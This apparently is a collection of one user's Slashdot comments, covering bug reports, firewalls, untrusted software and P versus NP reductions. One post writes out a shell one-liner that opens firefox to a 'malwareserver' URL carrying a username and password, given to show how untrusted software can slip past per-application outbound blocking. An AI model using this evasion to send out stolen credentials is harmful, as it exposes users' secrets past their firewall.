Comment Bug reporting will be much easier (Score 1) 175
Do you want to mail them physical screenshots? With a qr code, you can mail text.
Do you want to mail them physical screenshots? With a qr code, you can mail text.
cgroups may help.
argh, stop messing my posts
firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar"& sleep 2 && kill %1
of course the cmdline needs to be:
'firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar&;sleep" '
stupid slashdot
Blocking outbound on per-application basis is needed, if you do not trust your software. But untrusted software can evade this anyway. Just call "firefox http://malwareserver?mydata=i+... 2;kill %1"
So, how does the "~/bin/untrusted-download" firewall rule protect you now?
There is one simple rule for untrusted software: Do not run it.
Linux makes this easy, you need the execution bit, a download or an e-mail attachment will not have it by default. And Linux provides you with a big trusted software repo. You do not need to visit shady downloadsites, which bundle the apps with a strange installer.
And in the USA you cannot? I would have thought, you will always be asked: terminate the contract or accept the new TOS.
But isn't averaging even more unstable than syncing with one clock? And in any case, this one will be more precise than the average and every single other one.
AFAIK the definition is, they are not in P and they can be solved by a non-deterministic TM. Usual proofs are by transitivity, but i do not know an argument against two disjunct trees of problems. maybe there are problems, which cannot be reduced to the known ones, but are np-hard anyway?
you do not know, if a NDTM exists, because if P=NP you can have one.
And, is bitkeeper still around, now that everyone is using git?
Now back to the question: Is there a Proof, that each solution to a NP-complete problem can be used to solve the factoring problem?
(its this way, you need to prove, that any solution to your new problem is a solution for a known np-hard one)
So what i meant: Could NP be the union of (at least) two disjunct sets of problems, which can reduce to other problems in the same set, but not to problems in the other set? If not, how do you prove it? Citations are welcomed.
Yes. Assume your solution is in P, the transformation is in P, both are polynomials with huge factors/exponents, you will only see a real difference expressed in percent, when your numbers get real big. But for common NP-hard problems, the transformation is rather "simple".
So you can use SAT to implement a turing machine, you can use the TSP to implement SAT. But if you have a new NP-hard problem, which can be simulated by a non-deterministic TM, this does not tell you, that the problem can simulate a a TM or SAT? Or is it an requirement for a np-hard problem not only to run on a TM, but to implement one, as SAT does?
The idea is, how they scale. If you think of a finite set of possible inputs, everything is O(1).
(all?) = (all known?)
"Everything should be made as simple as possible, but not simpler." -- Albert Einstein